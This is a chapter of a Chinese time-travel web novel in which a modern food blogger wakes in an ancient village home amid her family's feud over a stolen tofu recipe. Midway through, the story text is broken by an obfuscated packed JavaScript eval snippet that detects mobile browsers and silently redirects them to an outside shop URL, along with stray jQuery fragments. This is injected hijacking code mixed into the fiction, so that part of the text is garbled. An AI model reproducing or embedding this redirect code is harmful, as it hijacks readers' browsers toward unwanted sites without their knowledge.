“真是作孽哦,咱家岁丫头怎么就摊上了这样的事情呢?”
“四弟妹,你小声一些。”妇人将门推开一道缝隙,往里头看了一眼,见床上的人还没醒,叹了一声,又将门重新阖上。
“大嫂,这还要我怎么冷静,那老顾家就不是什么好东西,顾家三郎分明是仗着自己考上了童生,想要抢咱们卢氏的方子,我看有关岁丫头的那些谣言,八成就是他顾家搞出来的,要不怎么先前没有,顾家可真不是个东西。”
“我也觉得这件事情跟顾家有关系,若不然怎么偏偏就在顾三郎考上童生之后,出了这样的事情。”又一妇人开口说道。
“二嫂你也是这么想的?那顾家欺人太甚了,就算他顾三郎如今是童生老爷又怎么样,童生也不能胡乱冤枉人,大不了……大不了咱们上衙门告他去。”
院子里的几个男人听闻,眉头不由皱了起来,其中一个男人看着一直吵嚷的妇人说道:“别胡吣,那顾三郎现在有功名在身,是童生老爷,咱们未必告得赢。再说了,如今的知县马上就要走了,新任知县要上任,真告了,还不知道那顾家会把咱家岁丫头给害成什么样呢。”
又一个男人说道:“大哥,要不咱们还是找族长说说吧,那顾家委实欺人太甚,顾三郎考功名的银子,咱们卢家也是出了力的,要不是岁岁做出了豆腐,赚了银子给他,他顾三郎未必能顺利考上。如今他发达了,污蔑咱家岁岁不说,还想抢咱们卢家的豆腐方子,这要是认了,往后不是谁都能过来踩上咱家一脚。”
“就是,大哥,岁岁平日里啥样,外头的人不清楚,咱们自己家的人还能不清楚。也就那丫头傻,还跑去跳河。不是咱家人做的事情,可不能认啊。这石磨村,就咱们卢家会做豆腐,靠着这个营生赚钱呢,怎么能便宜了那顾家,凭啥要把这营生赔给他们,顾家太不要脸了。”说话的女声还带了哭腔。
卢岁是被外头叫嚷的声音给惊醒的,有个声音格外的尖锐,吵得她脑门一突一突的。
稍微动了一下,卢岁伸手摸了一下父母,一下子就碰到了钝痛的额头,疼得她“嘶”了一声。
她好像摸到了布,似乎是缠绕在她脑袋上了,有个地方还格外的痛,卢岁压了一下,疼得她龇牙咧嘴的,抬手一看,指尖上都是血,把她吓了一跳。
这到底是怎么回事,她头上怎么会缠绕着一块布?
隐约记得自己在家里绊了一跤,磕到了头失去了意识,难道是她磕到脑袋,被人送到医院给她包扎上去的?
可是摸着也不太像是纱布的感觉。
而且这周围看着也不像是在医院啊。
这屋子一看过去,墙壁都是泥糊出来的,还没抹平,上面开了一扇窗户,上头好像糊了一层纸,还破了几个洞,还有光线从窗棂透了进来,能清晰看到空气里飞扬的灰尘。
哪家医院是这样的条件,空气里也没有什么消毒水的味道,外头似乎有人,能听到说话声。可卢岁根本不敢喊人进来,她连自己现在是什么状况都没弄清楚呢。
房子不隔音,外头说话的声音,她听的是真真切切的。
有男有女,其中有个女声说话嗓门不小,隔着屋子都震得卢岁脑门嗡嗡的。
卢岁想爬起来,结果刚撑着手臂坐起来,就觉得头晕眼花的,又不得不躺了回去。
她磕了脑袋,家里又没别人,就算侥幸被人发现,那也该将她送去医院,而不是送到这种地方来。
卢岁躺在床上没说话,她看着头顶上的房梁,仍然控制不住内心的震惊。
她住的小区档次不算低,有人闯进她家里把一个磕到脑袋昏迷不醒的人绑架到这种地方,真的有可能吗?
怎么想都觉得有些荒唐。
她已经没有什么亲人在世了,父母在她很小的时候就去世了,爷爷奶奶把她抚养长大的,两位老人家在她大学时也陆续去世。
她昏迷前还想着,能发现她的,大概就是团队里的人。
卢岁是个美食博主,一开始是自己拍自己剪辑视频,可随着她粉丝量上来,以及视频内容的变化,卢岁招了摄影团队还有几个助理。
可她怎么也没想到,睁开眼睛看到的不是熟人,她也不是在医院,而是面对一群陌生人以及陌生的环境。
耳边吵闹声还在,直到房间的木门被人推开,看到躺在床上的卢岁醒了过来,对方立刻扯开嗓子对着外面喊道,“孩子他爹,大嫂二嫂,五弟妹,快来啊,岁丫头醒了。”
随着话音刚落,屋子里瞬间涌了人进来,围到了她的床边。
卢岁感觉此刻的自己像个猴儿一样正在被人围观者。
“岁丫?岁丫?”
一个穿着蓝色衣裳,头发整整齐齐的梳在脑后,还用一根信银簪子挽住的妇人坐在了床边,见卢岁目光直愣愣的,连话都不说,也不由有些心慌起来,还朝着旁边几个妇人那边看了起来,脸上有些担忧。
“大嫂,岁丫头这不会是傻了吧?”其中一个妇人说道。
“别乱说话。”先开口说话的妇人呵斥了那妇人,又扭头看向卢岁。
“岁岁?你好点儿了吗?头还疼不疼?”
卢岁闻言,微微动了一下脑袋看了过去。
说实话,根本不认识。
卢岁的目光在几个人身上扫了一遍,她们身上的衣裳除了颜色,款式倒是差不多的,发型稍微有点儿不同。
唯一统一的一点,就是看向她的眼神都带着担忧。
“你们……”卢岁想说你们是怎么把我弄到这里来的,可一开口,声音沙哑的厉害。
再次打量眼前的一切,越看越像是山旮旯里的某个地方。
卢岁干脆闭上眼睛,不看那些人,要不是浑身难受,不想动弹,她还要伸手捂住自己的耳朵。
这是哪儿?
这到底是哪里?
她一定是在做梦。
对,梦醒了就好了。
卢岁管不了那么多,不仅头不舒服,她感觉浑身都不舒服,她闭上眼睛,昏昏沉沉的又睡了过去。
留下那几个人面面相觑,有人想要说话,却被拦住了,示意让卢岁再睡一点儿,然后轻手轻脚的出去了。
卢岁这一睡就是三天。
睁开眼睛,映入眼帘的还是那面土墙。
只是头却没有之前那样疼了。
屋外有人在说话,嗓门不小,听着有些耳熟,似乎就是之前听到的那些声音。
卢岁坐了起来,这回没有再头晕目眩的,只是感觉身体有些吃力,手脚发软,心里也有些慌,她伸手用力在自己大腿上掐了一把。
疼,真疼啊!
不是做梦。
她怀疑自己被绑架了,要不然怎么会出现在这种地方。
这样的房子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704827|208288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她只在爷奶那里的老照片里见过。
她要是真被人绑了,现在是不是应该先观察情况,然后找机会求救呢?
正思索的时候,有个妇人推开门走了进来,手里还端着个碗,看到卢岁醒过来,那是又惊又喜的。
“孩子他爹,岁丫头醒了,她醒了。”
又是呼啦啦的一群人走了进来,有之前卢岁见到的那几张面孔。也有几个年轻姑娘的面孔,那些女子看着都不大,最大的似乎只有十多岁,此刻那些人,也正眼巴巴的看着卢岁。
有个年纪小一些,看着只有五六岁的样子,走到了卢岁身边,一脸关切的看着她,“岁姐姐,你好些了吗?头还疼不疼啊?”
看着这一群人,卢岁是真的懵了。
这到底是怎么回事?
卢岁聪明的没有说话,只是对着小女孩摇了摇头,又看着那些大人,等着对方先开口。
“岁丫头,你醒了,快来把药喝了。”方才大嗓门的妇人说道。
另外一个妇人也道:“五弟妹,岁丫刚醒,肯定饿了,你去给岁丫炖个鸡蛋羹。”
说话的时候,那乌漆嘛黑的药已经怼到了卢岁嘴边。
卢岁心里却是有些吃惊,她感觉很不对劲。
如果她是被绑过来的,对方怎么会知道她的名字,还叫的那么亲切?
这种态度,可不像是对陌生人才有的。
那眼中透着的关心,也不像是作假。
卢岁双手捧着药碗,看着那乌漆嘛黑的药,陌生人给的东西都不能吃,更何况是陌生人给的药,当然也不能乱喝。
就在卢岁思索要怎么才能不喝这个药的时候,被几双眼睛盯着,她只好硬着头皮低头抿了一口药,本来想找理由吐掉的,谁知道药一入口,又酸又苦还发涩。
不小心咽下去之后,还有一股子说不出来的味儿,这还真是纯得不能再纯的中药,这些人从哪儿弄来的这药?
卢岁喝了一口,就控制不住的呕了起来,却什么都没吐出来。
“岁丫头,这药可不能撒了,这一帖药,要花上不少银子呢。”端碗过来的妇人,连忙把卢岁手里的碗接了过去,生怕她弄洒了。
卢岁以前也是喝过中药的,她之前有一段时间身体不怎么好,去了中医院检查,开了药喝了一段时间,那味道可真是上头。
这会儿那药一入口,一下子就把她脑海里的记忆给勾了出来。
卢岁的额头上还隐隐作痛,她扫了一眼,屋子里的几个妇人,身上穿的好像都是古装,就连头发都是梳得古代的模样。
从穿着上看,倒是像电视剧里演得那些普通百姓,可她们显然没有电视剧里演得那样好,看着还要更苦一些。
卢岁心里还是惊讶的,她总不能是穿越了吧?
要不就是被人给整了。
“岁丫头,药是不好喝,可是这药能治你头上的伤,你咬咬牙,一口气喝下去就好了。你都不知道,这几天你昏迷不醒,药都没法喝,都是我跟你大伯娘捏着你的鼻子给你灌下去的。”
卢岁深吸一口气,她之前居然就喝过这个药?
看着再次递到面前的药,卢岁真是不想去看。
“岁丫头,赶紧喝,药凉了就不对症了。”
“我……”
“别你你我我的,先把药给喝了,快喝药,你可要早点儿好起来。”